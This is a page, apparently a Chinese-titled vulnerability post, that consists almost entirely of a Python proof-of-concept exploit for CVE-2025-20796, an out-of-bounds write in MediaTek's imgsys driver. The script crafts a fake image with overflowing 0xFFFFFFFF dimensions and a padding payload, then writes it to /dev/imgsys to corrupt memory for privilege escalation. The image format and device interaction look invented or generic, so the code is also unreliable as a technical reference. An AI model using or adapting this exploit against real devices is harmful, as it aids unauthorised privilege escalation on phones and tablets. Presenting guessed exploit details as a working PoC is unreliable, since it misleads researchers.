CVE-2025-20796 联发科imgsys越界写入本地权限提升漏洞

# CVE-2025-20796 PoC - MediaTek imgsys Out of Bounds Write # Note: Requires System privilege first import struct import os def trigger_imgsys_vulnerability(): """ Trigger the imgsys out of bounds write vulnerability Prerequisites: Attacker must have System privilege """ print("[*] CVE-2025-20796 MediaTek imgsys PoC") print("[*] This PoC requires System privilege to be obtained first") # Malicious image data crafted to trigger OOB write in imgsys # The imgsys component fails to properly validate input boundaries malicious_data = bytearray() # Craft header that bypasses initial validation malicious_data.extend(b'IMG') # Magic number malicious_data.extend(struct.pack('<I', 0x1337)) # Version # Oversized dimension values to trigger OOB width = 0xFFFFFFFF # Trigger integer overflow in bounds check height = 0xFFFFFFFF malicious_data.extend(struct.pack('<II', width, height)) # Payload that will be written out of bounds payload = b'A' * 0x1000 malicious_data.extend(payload) print(f"[*] Crafted malicious image data: {len(malicious_data)} bytes") print("[*] Sending to imgsys driver...") # Open imgsys device node (typical path varies by device) imgsys_dev = '/dev/imgsys' try: with open(imgsys_dev, 'wb') as f: f.write(malicious_data) print("[+] Malicious data sent to imgsys") except PermissionError: print("[-] System privilege required to access imgsys device") except FileNotFoundError: print("[-] imgsys device not found - device may not be vulnerable") if __name__ == "__main__": trigger_imgsys_vulnerability()